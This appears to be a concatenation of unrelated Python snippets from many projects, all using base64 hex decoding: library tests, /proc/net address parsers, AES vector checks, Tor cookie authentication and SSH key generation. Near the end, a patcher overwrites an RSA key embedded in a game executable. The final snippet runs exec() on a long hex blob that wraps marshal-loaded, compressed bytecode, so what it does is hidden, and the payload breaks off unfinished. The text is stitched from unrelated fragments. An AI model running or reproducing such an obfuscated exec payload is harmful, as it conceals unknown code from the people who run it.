def __init__(self, hex_or_bin_id): self._bin_id = None self._bin = None self._hex = None self._bin_str = None self._long = None self._log = None if isinstance(hex_or_bin_id, str): if len(hex_or_bin_id) == ID_SIZE_BYTES: self._bin_id = hex_or_bin_id elif len(hex_or_bin_id) == ID_SIZE_BYTES * 2: self._hex = hex_or_bin_id try: self._bin_id = base64.b16decode(hex_or_bin_id, True) except: raise IdError('input: %r' % hex_or_bin_id) elif isinstance(hex_or_bin_id, long) or isinstance(hex_or_bin_id, int): if hex_or_bin_id < 0 or hex_or_bin_id > MAX_ID_LONG: raise IdError('input: %r' % hex_or_bin_id) self._long = long(hex_or_bin_id) self._hex = '%040x' % self._long self._bin_id = base64.b16decode(self._hex, True) if not self._bin_id: raise IdError('input: %r' % hex_or_bin_id) self._bin = self._bin_id
def test_b16decode(self): eq = self.assertEqual eq(base64.b16decode('0102ABCDEF'), '\x01\x02\xab\xcd\xef') # Lower case is not allowed without a flag self.assertRaises(TypeError, base64.b16decode, '0102abcdef') # Case fold eq(base64.b16decode('0102abcdef', True), '\x01\x02\xab\xcd\xef')
def _decode_address(addr, family): """Accept an "ip:port" address as displayed in /proc/net/* and convert it into a human readable form, like: "0500000A:0016" -> ("10.0.0.5", 22) "0000000000000000FFFF00000100007F:9E49" -> ("::ffff:127.0.0.1", 40521) The IPv4 address portion is a little-endian four-byte hexadecimal number; that is, the least significant byte is listed first, so we need to reverse the order of the bytes to convert it to an IP address. The port is represented as a two-byte hexadecimal number. Reference: http://linuxdevcenter.com/pub/a/linux/2000/11/16/LinuxAdmin.html """ ip, port = addr.split(":") port = int(port, 16) if sys.version_info >= (3,): ip = ip.encode("ascii") # this usually refers to a local socket in listen mode with # no end-points connected if not port: return () if family == socket.AF_INET: ip = socket.inet_ntop(family, base64.b16decode(ip)[::-1]) else: # IPv6 # old version - let's keep it, just in case... # ip = ip.decode('hex') # return socket.inet_ntop(socket.AF_INET6, # ''.join(ip[i:i+4][::-1] for i in xrange(0, 16, 4))) ip = base64.b16decode(ip) ip = socket.inet_ntop(socket.AF_INET6, struct.pack(">4I", *struct.unpack("<4I", ip))) return (ip, port)
def check_vectors(self, filename): mode = filename[:3].lower() fh = open("test_vectors/" + filename, "r") type = fh.readline().strip()[1:-1].lower() fh.readline() data = {} for line in fh: line = line.strip() if not line and data: key = b16decode(data["key"].encode(), True) iv = b16decode(data.get("iv", "").encode(), True) pt = b16decode(data["plaintext"].encode(), True) ct = b16decode(data["ciphertext"].encode(), True) cipher = Cipher(key=key, iv=iv or None, cipher="aes", mode=mode) if type == "encrypt": res = cipher.encrypt(pt) self.assertEqual( res, ct, "%s #%s: %s != %s" % (filename, data["count"], b16encode(res), data["ciphertext"]) ) data = {} if " = " not in line: continue k, v = line.lower().split(" = ") data[k] = v fh.close()
def _safecookie_authchallenge(self, reply): """ Callback on AUTHCHALLENGE SAFECOOKIE """ if self._cookie_data is None: raise RuntimeError("Cookie data not read.") kw = parse_keywords(reply.replace(' ', '\n')) server_hash = base64.b16decode(kw['SERVERHASH']) server_nonce = base64.b16decode(kw['SERVERNONCE']) # FIXME put string in global. or something. expected_server_hash = hmac_sha256( "Tor safe cookie authentication server-to-controller hash", self._cookie_data + self.client_nonce + server_nonce ) if not compare_via_hash(expected_server_hash, server_hash): raise RuntimeError( 'Server hash not expected; wanted "%s" and got "%s".' % (base64.b16encode(expected_server_hash), base64.b16encode(server_hash)) ) client_hash = hmac_sha256( "Tor safe cookie authentication controller-to-server hash", self._cookie_data + self.client_nonce + server_nonce ) client_hash_hex = base64.b16encode(client_hash) return self.queue_command('AUTHENTICATE %s' % client_hash_hex)
def _decodeProcAddressEncoding(addr): """ Translates an address entry in the /proc/net/* contents to a human readable form, for instance: "0500000A:0016" -> ("10.0.0.5", "22") Reference: http://linuxdevcenter.com/pub/a/linux/2000/11/16/LinuxAdmin.html Arguments: addr - proc address entry to be decoded """ ip, port = addr.split(':') # the port is represented as a two-byte hexadecimal number port = str(int(port, 16)) if sys.version_info >= (3,): ip = ip.encode('ascii') # The IPv4 address portion is a little-endian four-byte hexadecimal number. # That is, the least significant byte is listed first, so we need to reverse # the order of the bytes to convert it to an IP address. # # This needs to account for the endian ordering as per... # http://code.google.com/p/psutil/issues/detail?id=201 # https://trac.torproject.org/projects/tor/ticket/4777 if sys.byteorder == 'little': ip = socket.inet_ntop(socket.AF_INET, base64.b16decode(ip)[::-1]) else: ip = socket.inet_ntop(socket.AF_INET, base64.b16decode(ip)) return (ip, port)
def testMD5SumAccessError(self): self.mox.StubOutWithMock(utils, 'RunCommand') gs_uri = 'gs://bucket/foo/bar/somefile' crc32c = 'c96fd51e' crc32c_64 = base64.b64encode(base64.b16decode(crc32c, casefold=True)) md5_sum = 'b026324c6904b2a9cb4b88d6d61c81d1' md5_sum_64 = base64.b64encode(base64.b16decode(md5_sum, casefold=True)) output = '\n'.join([ '%s:' % gs_uri, ' Creation time: Tue, 04 Mar 2014 19:55:26 GMT', ' Content-Language: en', ' Content-Length: 2', ' Content-Type: application/octet-stream', ' Hash (crc32c): %s' % crc32c_64, ' Hash (md5): %s' % md5_sum_64, ' ETag: CMi938jU+bwCEAE=', ' Generation: 1393962926989000', ' Metageneration: 1', ' ACL: ACCESS DENIED. Note: you need OWNER ' 'permission', ' on the object to read its ACL.', ]) # Set up the test replay script. cmd = [self.gsutil, 'ls', '-L', gs_uri] utils.RunCommand( cmd, redirect_stdout=True, redirect_stderr=True, error_ok=True, return_result=True).AndReturn( cros_test_lib.EasyAttr(output=output)) self.mox.ReplayAll() # Run the test verification. result = gslib.MD5Sum(gs_uri) self.assertEqual(md5_sum, result) self.mox.VerifyAll()
def b16(): if sys.argv[2] == 'e': print base64.b16encode(sys.argv[3]) elif sys.argv[2] == 'd': print base64.b16decode(sys.argv[3]) else: usage()
def testMD5SumAccessError(self): self.mox.StubOutWithMock(utils, "RunCommand") gs_uri = "gs://bucket/foo/bar/somefile" crc32c = "c96fd51e" crc32c_64 = base64.b64encode(base64.b16decode(crc32c, casefold=True)) md5_sum = "b026324c6904b2a9cb4b88d6d61c81d1" md5_sum_64 = base64.b64encode(base64.b16decode(md5_sum, casefold=True)) output = "\n".join( [ "%s:" % gs_uri, " Creation time: Tue, 04 Mar 2014 19:55:26 GMT", " Content-Language: en", " Content-Length: 2", " Content-Type: application/octet-stream", " Hash (crc32c): %s" % crc32c_64, " Hash (md5): %s" % md5_sum_64, " ETag: CMi938jU+bwCEAE=", " Generation: 1393962926989000", " Metageneration: 1", " ACL: ACCESS DENIED. Note: you need OWNER " "permission", " on the object to read its ACL.", ] ) # Set up the test replay script. cmd = [self.gsutil, "ls", "-L", gs_uri] utils.RunCommand(cmd, redirect_stdout=True, redirect_stderr=True, error_ok=True, return_result=True).AndReturn( cros_test_lib.EasyAttr(output=output) ) self.mox.ReplayAll() # Run the test verification. result = gslib.MD5Sum(gs_uri) self.assertEqual(md5_sum, result) self.mox.VerifyAll()
def test_b16decode(self): eq = self.assertEqual eq(base64.b16decode("0102ABCDEF"), "\x01\x02\xab\xcd\xef") eq(base64.b16decode("00"), "\x00") # Lower case is not allowed without a flag self.assertRaises(TypeError, base64.b16decode, "0102abcdef") # Case fold eq(base64.b16decode("0102abcdef", True), "\x01\x02\xab\xcd\xef")
def fixedXOR(data, key): '''XOR encryption of <data> with <key>. Both arguments are strings encoded in hex. <data> and <key> must be same length in bytes.''' if len(data) != len(key): raise ArgumentError, "data and key must be of same length in bytes." return data = b16decode(data.upper()) key = b16decode(key.upper()) return ''.join([chr(ord(data[i]) ^ ord(key[i])) for i in xrange(len(data))])
def test_b16decode(self) -> None: eq = self.assertEqual eq(base64.b16decode(b'0102ABCDEF'), b'\x01\x02\xab\xcd\xef') eq(base64.b16decode(b'00'), b'\x00') # Lower case is not allowed without a flag self.assertRaises(binascii.Error, base64.b16decode, b'0102abcdef') # Case fold eq(base64.b16decode(b'0102abcdef', True), b'\x01\x02\xab\xcd\xef') self.assertRaises(TypeError, base64.b16decode, "")
def fixedXOR(hex1, hex2): '''Returns the XOR of two ASCII representations of hex strings''' raw1 = base64.b16decode(hex1, True) raw2 = base64.b16decode(hex2, True) hex_sum_as_int = 0 for (x,y) in zip (raw1, raw2): hex_sum_as_int *= (16*16) hex_sum_as_int += x^y return "{0:0{1}x}".format(hex_sum_as_int, len(hex1))
def stringToSByteInHex(s, split = None): ''' split is None: "fe7a" -> "\xfe\x7a" split is ":" : "fe:7a" -> "\xfe\x7a" ''' if not split: return base64.b16decode(s.upper()) else: return base64.b16decode(s.replace(split, "").upper())
def b16_to_bytes(s, ignore_error=False): '''Convert hex string to bytes''' if ignore_error: try: return base64.b16decode(s.encode()) except binascii.Error: pass else: return base64.b16decode(s.encode())
def test_b16decode(self): eq = self.assertEqual eq(base64.b16decode(b'0102ABCDEF'), b'\x01\x02\xab\xcd\xef') eq(base64.b16decode('0102ABCDEF'), b'\x01\x02\xab\xcd\xef') eq(base64.b16decode(b'00'), b'\x00') eq(base64.b16decode('00'), b'\x00') # Lower case is not allowed without a flag self.assertRaises(binascii.Error, base64.b16decode, b'0102abcdef') self.assertRaises(binascii.Error, base64.b16decode, '0102abcdef') # Case fold eq(base64.b16decode(b'0102abcdef', True), b'\x01\x02\xab\xcd\xef') eq(base64.b16decode('0102abcdef', True), b'\x01\x02\xab\xcd\xef') # Non-bytes self.check_other_types(base64.b16decode, b"0102ABCDEF", b'\x01\x02\xab\xcd\xef') self.check_decode_type_errors(base64.b16decode) eq(base64.b16decode(bytearray(b"0102abcdef"), True), b'\x01\x02\xab\xcd\xef') eq(base64.b16decode(memoryview(b"0102abcdef"), True), b'\x01\x02\xab\xcd\xef') eq(base64.b16decode(array('B', b"0102abcdef"), True), b'\x01\x02\xab\xcd\xef') # Non-alphabet characters self.assertRaises(binascii.Error, base64.b16decode, '0102AG') # Incorrect "padding" self.assertRaises(binascii.Error, base64.b16decode, '010')
def dencryption(s="", key=12): a = "" for i in range(len(s) / 2): a = a + s[i] + s[len(s) / 2 + i] b = base64.b16decode(a) c = "" for i in range(len(b) / 2): c = c + b[i] + b[len(b) / 2 + i] d = base64.b16decode(c) return d
def run_aes_ctr_encrypt_nist_test(testvectors, test_num): key, nonce = testvectors.key, testvectors.nonce keybytes, noncebytes = b16decode(key, True), b16decode(nonce, True) assert len(keybytes) in A.KEYSIZES assert len(noncebytes) == A.BLOCKSIZE nonce = incrhack(nonce, test_num) vector, ciphertext = testvectors.vectors[test_num] result = A.aes_ctr_encrypt(key, vector, nonce_ctr=nonce) assert len(b16encode(result)) == len(vector) assert b16encode(result).lower() == ciphertext.lower() assert result == b16decode(ciphertext, True)
def get_content(content_id): if content_id.endswith('.b16.html'): return '<img src="/content/%s.jpg" />' % base64.b16decode(content_id[:-9]) image_data = open(base64.b16decode(content_id[:content_id.find('.b16')])).read() if content_id.endswith('.b16.thumb.jpg'): try: return CACHE[content_id] except KeyError: out_data = imfeat.image_tostring(imfeat.resize_image(imfeat.image_fromstring(image_data), 200, 200), 'JPEG') CACHE[content_id] = out_data return out_data return image_data
def enc_aes_cbc_padding_block(key, last_block): """ For the given key and last block of AES ciphertext in CBC mode, generate the ciphertext block for a full last-block of padding. """ keybytes = b16decode(key, True) blocksize = A.BLOCKSIZE bs = b16decode(last_block, True) assert len(bs) == A.BLOCKSIZE xbytes = ''.join(chr(b) for b in B.xor_(map(ord, bs), [blocksize] * blocksize)) return AES.new(keybytes).encrypt(xbytes)
def decode_address(self, addr, family): """Accept an "ip:port" address as displayed in /proc/net/* and convert it into a human readable form, like: "0500000A:0016" -> ("10.0.0.5", 22) "0000000000000000FFFF00000100007F:9E49" -> ("::ffff:127.0.0.1", 40521) The IP address portion is a little or big endian four-byte hexadecimal number; that is, the least significant byte is listed first, so we need to reverse the order of the bytes to convert it to an IP address. The port is represented as a two-byte hexadecimal number. Reference: http://linuxdevcenter.com/pub/a/linux/2000/11/16/LinuxAdmin.html """ ip, port = addr.split(':') port = int(port, 16) # this usually refers to a local socket in listen mode with # no end-points connected if not port: return () if PY3: ip = ip.encode('ascii') if family == socket.AF_INET: # see: https://github.com/giampaolo/psutil/issues/201 if LITTLE_ENDIAN: ip = socket.inet_ntop(family, base64.b16decode(ip)[::-1]) else: ip = socket.inet_ntop(family, base64.b16decode(ip)) else: # IPv6 # old version - let's keep it, just in case... # ip = ip.decode('hex') # return socket.inet_ntop(socket.AF_INET6, # ''.join(ip[i:i+4][::-1] for i in xrange(0, 16, 4))) ip = base64.b16decode(ip) try: # see: https://github.com/giampaolo/psutil/issues/201 if LITTLE_ENDIAN: ip = socket.inet_ntop( socket.AF_INET6, struct.pack('>4I', *struct.unpack('<4I', ip))) else: ip = socket.inet_ntop( socket.AF_INET6, struct.pack('<4I', *struct.unpack('<4I', ip))) except ValueError: # see: https://github.com/giampaolo/psutil/issues/623 if not supports_ipv6(): raise _Ipv6UnsupportedError else: raise return (ip, port)
def test_b16decode(self): eq = self.assertEqual eq(base64.b16decode('0102ABCDEF'), '\x01\x02\xab\xcd\xef') eq(base64.b16decode('00'), '\x00') # Lower case is not allowed without a flag self.assertRaises(TypeError, base64.b16decode, '0102abcdef') # Case fold eq(base64.b16decode('0102abcdef', True), '\x01\x02\xab\xcd\xef') # Non-bytes eq(base64.b16decode(bytearray("0102ABCDEF")), '\x01\x02\xab\xcd\xef') # Non-alphabet characters self.assertRaises(TypeError, base64.b16decode, '0102AG') # Incorrect "padding" self.assertRaises(TypeError, base64.b16decode, '010')
def main(): try: #gameExe = getMercs2() gameExe = getRa3() try: hnd = os.open(gameExe, os.O_RDWR) except: gameExe = raw_input('Could not open "%s", provide the path to the exe:' % gameExe) hnd = os.open(gameExe, os.O_RDWR) gameFile = mmap(hnd, 0) oldKey = base64.b16decode('9275A15B080240B89B402FD59C71C4515871D8F02D937FD30C8B1C7DF92A0486F190D1310ACBD8D41412903B356A0651494CC575EE0A462980F0D53A51BA5D6A1937334368252DFEDF9526367C4364F156170EF167D5695420FB3A55935DD497BC3AD58FD244C59AFFCD0C31DB9D947CA66666FB4BA75EF8644E28B1A6B87395') newKey = base64.b16decode('DA02D380D0AB67886D2B11177EFF4F1FBA80A3070E8F036DEE9DC0F30BF8B80516164DC0D4827F47A48A3BCA129DD29D1961D8566147A588DC248F90C9A41CBFF857E02F47782EAE5A70E555BADD36E16C179331E4F92203816998C82EDFBE0E339DC3E0C0208552CD3F05F5CB412F6710916AD159DAC1233E71089F20D43D6D') dom = '.ea.com\0' subDom = '.fesl\0' #ip = '127.0.0.1' ip = '5.84.34.44' p1 = ip.split('.')[0] p2 = ip.split('.')[1] p3 = ip.split('.', 2)[-1] patches = [ (oldKey, newKey), #(dom+subDom, struct.pack('{0}s{1}s'.format(len(dom), len(subDom)), '.'+p3, '.'+p2)), #('cncra3-pc\0', '{0}'.format(p1)), # MERCS2 is broken -- patch works but then first octet gets sent as "clientString" value and client # dc's self. # There are two instances of "mercs2-pc"; the second is the right one and has a null before it #('\0mercs2-pc', '\0{0}\0'.format(p1)), ] for srch, repl in patches: gameFile.seek(0, 0) pos = gameFile.find(srch) if pos >= 0: gameFile.seek(pos, 0) gameFile.write(repl) else: print 'Patching failed. String could not be found in game file.' print 'Done processing %s.' % gameExe os.close(hnd) except: traceback.print_exc() raw_input('Press enter to exit...')
def decrypt_rsa(encoded): try: cipher = base64.b16decode(encoded) plain = rsakey.public_decrypt(cipher, M2Crypto.RSA.pkcs1_padding) return plain except: return ""
def shn_represent_file(file_name, table, field = "file"): """ @author: Michael Howden ([email protected]) @description: Represents a file (stored in a table) as the filename with a link to that file THIS FUNCTION IS REDUNDANT AND CAN PROBABLY BE REPLACED BY shn_file_represent in models/06_doc.py """ import base64 url_file = crud.settings.download_url + "/" + file_name if db[table][field].uploadfolder: path = db[table][field].uploadfolder else: path = os.path.join(db[table][field]._db._folder, "..", "uploads") pathfilename = os.path.join(path, file_name) try: #f = open(pathfilename,"r") #filename = f.filename regex_content = re.compile("([\w\-]+\.){3}(?P<name>\w+)\.\w+$") regex_cleanup_fn = re.compile('[\'"\s;]+') m = regex_content.match(file_name) filename = base64.b16decode(m.group("name"), True) filename = regex_cleanup_fn.sub("_", filename) except: filename = file_name return A(filename, _href = url_file)
def pair(): key = RSA.generate(2048, os.urandom) # Create public key. ssh_rsa = '00000007' + base64.b16encode('ssh-rsa') # Exponent. exponent = '%x' % (key.e, ) if len(exponent) % 2: exponent = '0' + exponent ssh_rsa += '%08x' % (len(exponent) / 2, ) ssh_rsa += exponent modulus = '%x' % (key.n, ) if len(modulus) % 2: modulus = '0' + modulus if modulus[0] in '89abcdef': modulus = '00' + modulus ssh_rsa += '%08x' % (len(modulus) / 2, ) ssh_rsa += modulus public_key = 'ssh-rsa %s' % ( base64.b64encode(base64.b16decode(ssh_rsa.upper())), ) return key, public_key
def cbus_checksum(i, b16=False): """ Calculates the checksum of a C-Bus command string. Fun fact: C-Bus toolkit and C-Gate do not use commands with checksums. :param i: The C-Bus data to calculate the checksum of. :type i: str :param b16: Indicates that the input is in base16 (network) format, and that the return should be in base16 format. :type b16: bool :returns: The checksum value of the given input :rtype: int (if b16=False), str (if b16=True) """ if b16: if i[0] == '\\': i = i[1:] i = b16decode(i) c = 0 for x in i: c += ord(x) c = ((c % 0x100) ^ 0xff) + 1 if b16: return b16encode(chr(c)) return c
def denusumubase16(self): try: import base64 self.message = base64.b16decode(self.message) except: print "[-] Base16 encding error"
def test_authenticate_safecookie(self): with tempfile.NamedTemporaryFile() as cookietmp: cookiedata = str(bytearray([0] * 32)) cookietmp.write(cookiedata) cookietmp.flush() self.protocol._do_authenticate('''PROTOCOLINFO 1 AUTH METHODS=SAFECOOKIE COOKIEFILE="%s" VERSION Tor="0.2.2.35" OK''' % cookietmp.name) self.assertTrue( 'AUTHCHALLENGE SAFECOOKIE ' in self.transport.value() ) client_nonce = base64.b16decode(self.transport.value().split()[-1]) self.transport.clear() server_nonce = str(bytearray([0] * 32)) server_hash = hmac_sha256( "Tor safe cookie authentication server-to-controller hash", cookiedata + client_nonce + server_nonce ) self.send( '250 AUTHCHALLENGE SERVERHASH=%s SERVERNONCE=%s' % (base64.b16encode(server_hash), base64.b16encode(server_nonce)) ) self.assertTrue('AUTHENTICATE ' in self.transport.value())
def get_new_rsakey(size=2048): # Generate Private Key key = RSA.generate(size, os.urandom) private_key = key.exportKey() # Create public key ssh_rsa = '00000007' + base64.b16encode('ssh-rsa') # Exponent. exponent = '%x' % (key.e, ) if len(exponent) % 2: exponent = '0' + exponent ssh_rsa += '%08x' % (len(exponent) / 2, ) ssh_rsa += exponent modulus = '%x' % (key.n, ) if len(modulus) % 2: modulus = '0' + modulus if modulus[0] in '89abcdef': modulus = '00' + modulus ssh_rsa += '%08x' % (len(modulus) / 2, ) ssh_rsa += modulus public_ssh_key = 'ssh-rsa %s' % ( base64.b64encode(base64.b16decode(ssh_rsa.upper())), ) public_key = key.publickey().exportKey() return private_key, public_key, public_ssh_key
f[i:i + TAMANHO_PEDACOS] for i in range(0, len(f), TAMANHO_PEDACOS) ] file_in.close() port = int(sys.argv[1]) s = socket.socket() #Abre Socket e trata erro de address already in use s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('', port)) #faz o bind na porta devida s.listen(5) #prepara conexões vindouras c, addr = s.accept() #espera conexão com o cliente c.settimeout(15.0) id_tx = 0 pivo = 0 while True: #Servidor recebe a mensagem msg_codificada = c.recv(BUFFER_LEN) msg_decodificada = b16decode(msg_codificada) if msg_decodificada != b'': msg_decodificada = msg_decodificada.decode() msg_sem_chk_nova, chk_novo = extrai_msg_sem_chk(msg_decodificada) checksum_flag = checksum_compare(msg_sem_chk_nova, chk_novo) #print ("Mensagem decodificada:\n {}\nchecksum:{} e flag_checksum:{}".format(msg_decodificada,chk_novo,checksum_flag)) if checksum_flag == checksum_true: sync_msg01 = msg_decodificada[0:32] sync_msg02 = msg_decodificada[32:64] length = int(msg_decodificada[64:80], 2) chksum = msg_decodificada[80:96] id_msg = int(msg_decodificada[96:104], 2) flag = int(msg_decodificada[104:112], 2) #print("dados {}".format(msg_decodificada[112:])) dados = int(msg_decodificada[112:] or '0', 2) try:
# Auther : EHTASHAM # GitHub : https://github.com/dedsec999 # INSTAGRAM : /ehtasham.rajpoot import base64 exec(base64.b16decode('2320436F6D70696C6564204279203A2042696E79616D696E0A2320476974487562203A2068747470733A2F2F6769746875622E636F6D2F42696E79616D696E2D62696E6E690A2320596F7554756265204368616E6E656C203A20547269636B2050726F6F660A696D706F7274206D61727368616C0A65786563286D61727368616C2E6C6F6164732827635C7830305C7830305C7830305C7830305C7830305C7830305C7830305C7830305C7830335C7830305C7830305C783030405C7830305C7830305C78303073215C7830305C7830305C783030645C7830305C783030645C7830315C7830306C5C7830305C7830305A5C7830305C783030655C7830305C7830306A5C7830315C783030645C7830325C7830305C7838335C7830315C783030645C7830315C7830305C78303455645C7830315C78303053285C7830335C7830305C7830305C783030695C7866665C7866665C7866665C7866664E735C7862625C7830375C7830305C783030785C7839635C786264586D735C7864625C7862385C7831315C7866652C5C7866645C6E5C7863345C7865645C783034744D515C7861326C5C7863375C786234335C7865635C7838645C786533385C7838397B495C7865345C7863364E33375C7838655C7838375C78303549485C7863325C78393924585C7830305C7838635C7861345C7864635C7864635C7837665C7865665C7830327C5C783131295C786439715C7864325C7862395C783165666C5C7839325C7864385C7863355C786565625C7862315C7866625C786563424A5C7861634E5C7866615C7830385C7830364B732E5C7831345C7865325C7864325C7839362B692B5C783936523B265C7838615C7839615C783137415C7862325C7839385C7861375C7866365C7839635C786338795C786332425B505B5C7863645C78303525315C786362665C7866365C7861665C7839326776215C7831324D5C783838385C78626663545C7862665C7863645C7861385C7863615C7838395C783934764A5C786133395C7863395C786438575C783930415C78666653505C7861395C7861345C7831642E5966344E5C7830354F515A245C7838615C7865355C78383247544A5C7831305C7865375C7865345C7839635C275C7862352D5C786437465C786339255C7863635C7861635C7866396B315C7830655D4634575C783863675C786232663F5C7865335946233D752E5C7830345C7831372D5C7831645C7862355C783131355C7865375C7830625C7863315C7831375C7839325C7838617E295C7830335D5C783938595C7862335C7861385C7866345C7830355C7839375C78306538415C7864315C7864345C786332395C7863625C7863375C78383865525C78393124695C7839345C7865335C7864646F5C786232355C7866615C7831655C7865315C7864335C7839655C786138585C7862345C7839625C7831645C783939505C7839615B5C7865655C7866365C7861325C7839355C7839615C7866336C5C7838635C7839635C7830665C7865375C7861372F5C7864665C7839643B695C7830635C7861625C7866615C783832265C7839635C7863345C783136305C7865645C7866365C7865315C783966235C7861395C7838615C7865395C7839345C7838303F695C783136717D365C7831362E5C7864345C7864345C7830335C78646550205C7837666D5C783935536D5C7864665C7864325C7830345C7862642C5C7838305C786639385C7861315C7838315C78653021575C7864327A455C78313249775C7866622D5C7830335C7861325C7838345C7831325C783031725C7866655C7861325C7830377A3B793D415C7865365C7862355C7839665C7866305C7831395C786637315C7863367D5C7861665C78316121415C7863385C7830625135625C7830665C7862655C7865305C7861665C7861665C7866665C7865395C783831355C7865645C7831375C7863665C7864365C7865665C786236775C783839365C7863385C7865355C7864345C78626635535C786563615C786234265C7830377A5C7830635C7862634B335C7830375C7830325C7830635C7864665C7839613C305C7863335C7830625C7865644A6B6D41475C7862385C7831315B5C7861615C7861382C5C7865385C7839305C78383926545A4B5C7864365C7838615C5C5C7830655C7861645C7862615C7864365C7861615C783035545C7865345C7866655C7865305C783837475C7862665C7838664E5C783062355C7861375C7830325C7865345C7839635C7861305C7831372C5B5C78393154675C7863346B5C7861365C7864655C7831345C7861315C7839395C7839632B5C7839355C7863625C7839335C786531705C7863365C7864345C7862635C7830385C7839645C7838385C7861375C7863335C7862305C7865325C7831625C7863304B5C7863365C7866615C7865385C7831375E5C5C5C783137215C7864355C7864635C7864375C78383245775C78653852703E5C7865645C7861335C7831377024325C7865375C7861612545697A5C7861655C7863394E58515C7862355C7863385C7866665C786339765C7866345C7863385C7864305C7862315C7864303F5C7865334240227E5C7838345C7831385C786362484A215C786636706D3E5C7861655C7838395C7839375C7838305C7830655C7830622E62435C5C32585C783935705C7839655C7865622F255C6E5C7838615C7866625C783862394B285C7862325C7863615C7863397A765C7862374C5C7863665C5C5C7862304C215C7831647B5C7865365C786233585C7865625C783131645C7831315C7862302C2F5C7839345C7838355C7864315C786635645C7866325C7831367D5C7862633A5C7866665C7866305C7866655C7866345C7864645C7866395C745C7861615C7831325C7838644D5C7839315C7862355E5C7865305C7861335C725B2B5C725C7862647C6D5C7864655C7839365C7863635C7863625C7864335C7861625C7861624F5C7839335C7830662F5C7831625C7839395C7862355C7864635C7866355C786132466E5C7862645C7863644A6E3D5C7863615C783164605C7866345C7839365C78636666345C78303640405C7862325C783838345C7830344E5C783862245921225C7838315C7862365C7864376C5C7861635C786233745C783162295C786561513B705C7861615C7866335C78313737245C6E5F5C7866376B5C786666247836435C786364493C5C7863315C7831645C786165565C7866652F5C7865335C7864395C7838305C786537347B2C5C7861345C7838365C7865335C78643178345C7831635C7838645C7838375C7831395D5C7830635C7865655C7831385C7864345C7838346C365C7838305C7866395C7831345C786630455C7830655C786638745C7861305C786138485C7838625C786535605C7863615C7838353357695C783832775C7831665C78643258235C7863655C7866365C7830365C7862615C78633637315C786436325C7866655C786366355C7866635C7830315C7861335C7866355C7865385C7830335C7831655C786333795C78646459705C7866613D5C7863355C7865305C725C7838655C7865375C7830363B3A4F6C5C786563385C7864355C786333415C7866385C7862365C7864665C7830335C7864315C7838385C78656248305C7838635C7862305C78613067766A5C7865315C7863665C786532665C78656656475C6E5C7864385C7838342E325C7838345C7866375C7866385C7861655C7866645C786463205C7862655C783861795C7861315C78396369525C7863385C7862395C7862355C7866625C7862635C7831625C78313946795C7831345A5C7862625B255C786164365C786233345C786166665C7864385C7838652B434F5C7862345C7864656F5C783038314B5C7865625C7831655C7863327C5C7866303B5C786161605C7839665C7864615C7865645C7839365C7864655C7839645C7838336D5C7838345C7863355C7866645C7831655C7862625C7862375C7862325C783939332F2B5C7862335C786635335D5C7839395C7862616C5F4C5C7863635C7862335C783935472D3122455C7830333145465C786439775C7839644C5C783139445C7839365C7838365C7839305C786164497C5C786533565C786565465C7839665C7830305C7837665C786431794A58327C5F5C7861342140365C786334435C783933305C7864625C7866325C7866305C7863645C7862385C7862335C7866345C7864345C786534345C7862615C7830365C783937645C7864625C7864633B375C7866625C7862375C786538355C7863645C7861385C7838303E5C7861625C7863335C7862625C7862335C7863357B385C7866615C7831625C7831655C786234445C783938635C745C78613239675C7831315C78623536225C7861654B2B5C7831645C783136465C7866332E5C7839347D5C7863655C7830305C7861357C5C7866665C7865665C7861385C7830355C7838635C7838365C745C7863615C786639665C7862325C7863315C7862655C7839655C7864635C786132575C7839305C7831363A3E5C7861335C7831325C7864395C7839325C7864355C78613639565C7839645C7861656B51637C5C786566797D5C786437714C495C7865345C7862375C7862315C7831375C7864635C7862655C786531265C7866345C7838365C6E5C786461415C786531295C7865345C7838335C7864665C7838645C7862635C7863355C7830365C786439595C7830385C7861365C7861385C7830355C786432375C7865365C7861335C7838345C7863625C7862362F5C7839624E335C7865375C7831325C7866343735595C7839307C5C7865655C786330725C783161425C7862376B5C786330235C7861355C7863335C786139605C7831345C7861305C7865325C7861375C78393442405C7863375C7862655E5C7866325C786234605C7862315C7866345C7864645C7831315C7838635C7866315C7865385C786630785C7865345C7831655C786238475C7830374F5C7838395C7862313F5C786430595C7839325C786639785C786166635C7863365C7866376B5C7831637B5C7830375C7864655C7866315C7865315C7863385C783162795C7838375C786565335C7865665C7864305C783162425C7861336C3A5F5C7866395C7839335A5C7865355C7864345C7837663B5C7866395C7864375C7866395C7838362A5C7864345C7864355C7866352D5C7839305C5C2C5C7831365C7863655C6E5C5C5C7830325C7866645C7838355C7864315C7861365C7866625C7863365C783863265C7863335C783866675C78313767235C7866375C7865645C78656162725C7863385C783031425C7864645C7837665C786632675C7861665C7864385C7863315C7862625C7863355C7838665C786536762B405C786463565C7838305C78393820725C7862375C78613368675C7837665C7861375C7830352F6D5C7861635C786139555C78613677315C7831335C7864365C7830655C7839635C7866385C7831307A5C783839565C7866365430325C7862396A355C7866375C7864625C7861365C78656544315C7866615C7865625C7839625C7863395C786262735C7862647A5C7865385C7831305C7830373D7D5C7838615C7862323C455C7864305C7861365C7830625C7864355C7831365C786237554A5B422A5C7831306A5C745C786461326763455C7866615C7861355C7863625C786464355C7865325C786531755C7830665C7839395B5C7864642B7E7C5C7865315C7865363E5C78663558435C7838396B5C7865615C7839372E25505C7863355C7862345C7866627B3D5C7831355659665C7838325C786362514B555C7838337C5C7861665C786637585C7830385C7866345C7862655C7838315C7865645C7862644A4D5C7861665C7838335C7830384D295C5C5B674A5C7865325C7865345C7866355C7863357B5C7866345C7865395C7865325C7866615C727A757A765C78666562325C786639595C786366635C7864345C7861635C7838305C275C786462685C7865315C7866345C7863325C7838625C783937435C7830335C7865615C786338605C7830375C7866302E34537565755C786161675C7863395C78646134475C7831355C7861625C7861395C7865365C7866305C7839346C5C7830365C7839645C7831365C786339597047575C7862655C7865375C7838645C78383977703C5C7864615C7837665C7865365C7863365C7865345C7864383B5C7831615C7838645C7863335C7865395C7866315C7831315C7831395C7838645C786464385C7838655C7864635C783833385C783132345C7861365C783939625C7864305C7839385C783035263F5C7865624E5C7839316A335C7830305C783036585C7862635C7838375C7861315C783031485C7838395C7866325C7866667135793F5C7861625C783861425C7839305C783932685C786365325C7831615C7862305C786438775C783962495C7861395C7861665C7863615C7831635C7831305C7864655C7864635C7862365C783031625C7831325C7831655C7839315C7838345C786661345C7830623E5E555C783030445C7865305C7838365C7865315C7839385C7864335C786162555C7838315C7831365C7864385C7865375C7831655C783136545C783135225C7830625C7861344C5C78303241252F5C7830345C7838305C7838343F5C